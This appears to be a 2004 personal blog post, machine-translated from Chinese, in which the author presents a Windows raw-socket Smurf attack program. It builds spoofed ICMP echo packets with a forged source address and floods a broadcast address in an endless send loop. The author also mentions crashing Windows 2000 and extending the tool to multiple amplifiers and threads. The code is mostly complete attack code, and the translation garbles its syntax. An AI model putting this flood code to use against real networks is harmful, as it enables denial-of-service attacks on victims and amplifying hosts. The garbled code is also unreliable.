In October 12, my Smurf program ,,

Finally, I wrote it out. To tell the truth, it took the longest time. I encountered many problems and read many programs ,, now it seems that the 10004 error is generated because the content in the IP header is incorrect. The IP header is basically entered in the following way: Win. there is no definition of various protocols in the hfile, so it is depressing.

Typedef struct _ icmp_header
{
Char type;
Char code;
Ushort checksum;
Ushort ID;
Ushort sequence;
Ulong timestamp;
} Icmp_header;
//--------------------------------------------------------------------
Typedef struct _ ip_header
{
Unsigned char ip_verlen; // 4-bit IPv4 version
// 4-bit header length (in 32-bit words)
Unsigned char ip_tos; // ip type of service
Unsigned short ip_totallength; // total length
Unsigned short ip_id; // Unique Identifier
Unsigned short ip_offset; // Fragment offset field
Unsigned char ip_ttl; // time to live
Unsigned char ip_protocol; // protocol (TCP, UDP etc)
Unsigned short ip_checksum; // IP checksum
Unsigned int ip_srcaddr; // Source Address
Unsigned int ip_destaddr; // Source Address
} Ip_header;
//--------------------------------------------------------------------

In addition, when ip_hdrincl is used in setsockopt, a header file # include <ws2tcpip. h>, it seems that this option is also available in Linux, but why not see it in the Smurf program in Linux ??

Ushort checksum (ushort * buffer, int size)
{
Unsigned long cksum = 0;
While (size> 1)
{
Cksum + = * buffer ++;
Size-= sizeof (ushort );
}
If (size)
{
Cksum + = * (uchar *) buffer;
}
Cksum = (cksum> 16) + (cksum & 0 xFFFF );
Cksum + = (cksum> 16 );
Return (ushort )(~ Cksum );
}
//--------------------------------------------------------------------
Use this item. It is used in many places.

Another key point is that when checksum is entered, the IP header appears to be automatically filled in by the computer, right? When you fill in your own, be sure to fill in 0 for checksum first, and then add the ICMP header memcpy to a buff. Then, use checksum to calculate it again and enter it ,, then, in memcpy, re-place the ICMP header into the buff, and the checksum of the ICMP header includes the data in the ICMP ,,,,
In fact, I still don't know when to fill in the IP header, and wait for the end ?? It is estimated that it is provided by the computer.

/// // When no data is entered in the ICMP header ,, ICMP checksum always has an error ?????
Memcpy (buff, & ip_header, sizeof (ip_header ));
Memcpy (buff + sizeof (ip_header), & icmp_header, (sizeof (icmp_header) + 20); // 20
Memset (buff + sizeof (ip_header) + sizeof (icmp_header), 'A', 20 );
Ip_header.ip_checksum = checksum (ushort *) buff, sizeof (buff ));
Icmp_header.checksum = checksum (ushort *) (buff + sizeof (ip_header), (sizeof (icmp_header) + 20 ));

Memcpy (buff, & ip_header, sizeof (ip_header ));
Memcpy (buff + sizeof (ip_header), & icmp_header, (sizeof (icmp_header) + 20); // 20
Memset (buff + sizeof (ip_header) + sizeof (icmp_header), 'A', 20 );

Here, my Win2000 blue screen has been used for many times. If you fill in the broadcast address limit 255, the blue screen will be displayed, and the program that causes the blue screen will not move as an attachment ,, I have sent a letter to the ms-focus@security.org, but I haven't seen it on the mail list, there is also a blue screen when I use malloc, sigh

The following is Smurf, but it is not very aggressive. It seems that there are not many hosts in the amplifier ,,
I changed it to a smurfattack, using multithreading, and multi-amplifier.

//////////////////////////////////////// //////////////////////////////////////// ////////
# Include "stdio. H"
# Include "winsock2.h"
# Include <ws2tcpip. h>
# Pragma comment (Lib, "ws2_32 ")

 

Typedef struct _ icmp_header
{
Char type;
Char code;
Ushort checksum;
Ushort ID;
Ushort sequence;
Ulong timestamp;
} Icmp_header;
//--------------------------------------------------------------------
Typedef struct _ ip_header
{
Unsigned char ip_verlen; // 4-bit IPv4 version
// 4-bit header length (in 32-bit words)
Unsigned char ip_tos; // ip type of service
Unsigned short ip_totallength; // total length
Unsigned short ip_id; // Unique Identifier
Unsigned short ip_offset; // Fragment offset field
Unsigned char ip_ttl; // time to live
Unsigned char ip_protocol; // protocol (TCP, UDP etc)
Unsigned short ip_checksum; // IP checksum
Unsigned int ip_srcaddr; // Source Address
Unsigned int ip_destaddr; // Source Address
} Ip_header;
//--------------------------------------------------------------------
Ushort checksum (ushort * buffer, int size)
{
Unsigned long cksum = 0;
While (size> 1)
{
Cksum + = * buffer ++;
Size-= sizeof (ushort );
}
If (size)
{
Cksum + = * (uchar *) buffer;
}
Cksum = (cksum> 16) + (cksum & 0 xFFFF );
Cksum + = (cksum> 16 );
Return (ushort )(~ Cksum );
}
//--------------------------------------------------------------------
Int main (INT argc, char * argv [])
{
Wsadata;
Socket rawsock;
Int timeout;
Bool hadheader;
Bool isbrocast;
Ip_header;
Icmp_header;

Char buff [sizeof (ip_header) + sizeof (icmp_header) + 20];

Struct sockaddr_in saddr = {0}, daddr = {0 };

If (wsastartup (makeword (2, 2), & wsadata )){
Printf ("wsastartup failed: % d/N", getlasterror ());
Return-1;
}
If (rawsock = socket (af_inet, sock_raw, 255) = invalid_socket ){
Printf ("socket failed: % d/N", getlasterror ());
Return-1;
}

Timeout = 500;
If (setsockopt (rawsock, sol_socket, so_sndtimeo, (char *) & timeout, sizeof (timeout ))){
Printf ("setsockopt sendtimeout failed: % d/N", getlasterror ());
Return-1;
}
If (setsockopt (rawsock, sol_socket, so_rcvtimeo, (char *) & timeout, sizeof (timeout ))){
Printf ("setsockopt recvtimeout failed: % d/N", getlasterror ());
Return-1;
}

Hadheader = true;
If (setsockopt (rawsock, ipproto_ip, ip_hdrincl, (char *) & hadheader, sizeof (hadheader ))){
Printf ("setsockopt ip_hdrincl failed: % d/N", getlasterror ());
Return-1;
}

Isbrocast = true;
If (setsockopt (rawsock, sol_socket, so_broadcast, (char *) & isbrocast, sizeof (isbrocast ))){
Printf ("setsockopt ip_hdrincl failed: % d/N", getlasterror ());
Return-1;
}

// Buff = malloc (sizeof (ip_header) + sizeof (icmp_header) + 20 );

// Ip_header = (ip_header *) Buff;

//// Fill ip_header
Ip_header.ip_verlen = (4 <4 | sizeof (ip_header)/sizeof (unsigned long ));
// Ip_header.ihl = 5;
Ip_header.ip_tos = 0;
Ip_header.ip_totallength = htons (sizeof (ip_header) + sizeof (icmp_header) + 20 );
Ip_header.ip_id = 0;
// Ip_header.frag_off = 0;
Ip_header.ip_offset = 0;
Ip_header.ip_ttl = 255;
Ip_header.ip_protocol = ipproto_icmp;
Ip_header.ip_srcaddr = inet_addr ("202.198.169.128 ");
Ip_header.ip_destaddr = inet_addr ("202.198.169.255 ");
// Ip_header.checksum = checksum (ushort *) & ip_header, sizeof (ip_header ));
///////////////////

// Icmp_header = (icmp_header *) (buff + sizeof (ip_header ));

//// Fill icmp_header
Icmp_header.type = 8;
Icmp_header.code = 0;
Icmp_header.id = htons (0 );
Icmp_header.sequence = 0;
// Icmp_header.checksum = 0;
Icmp_header.checksum = 0; // checksum (ushort *) (buff + sizeof (ip_header), (sizeof (icmp_header) + 20 ));
//////////////////////

Saddr. sin_family = af_inet;
Saddr. sin_addr. s_un. s_addr = ip_header.ip_destaddr;
Saddr. sin_port = htons (0 );

/// // When no data is entered in the ICMP header ,, ICMP checksum always has an error ?????
Memcpy (buff, & ip_header, sizeof (ip_header ));
Memcpy (buff + sizeof (ip_header), & icmp_header, (sizeof (icmp_header) + 20); // 20
Memset (buff + sizeof (ip_header) + sizeof (icmp_header), 'A', 20 );
Ip_header.ip_checksum = checksum (ushort *) buff, sizeof (buff ));
Icmp_header.checksum = checksum (ushort *) (buff + sizeof (ip_header), (sizeof (icmp_header) + 20 ));

Memcpy (buff, & ip_header, sizeof (ip_header ));
Memcpy (buff + sizeof (ip_header), & icmp_header, (sizeof (icmp_header) + 20); // 20
Memset (buff + sizeof (ip_header) + sizeof (icmp_header), 'A', 20 );

//////////////////////////////////////// ///////////////////////////////////
While (1 ){
// Sleep (1, 200 );
If (! Sendto (rawsock, buff, sizeof (buff), 0, (struct sockaddr *) & saddr, sizeof (saddr ))){
Printf ("Send failed: % d/N", getlasterror ());
Return-1;
}
}
Closesocket (rawsock );
Wsacleanup ();
Return 0;
}

Uty
Uty@mail.jlu.edu.cn
2004-10-12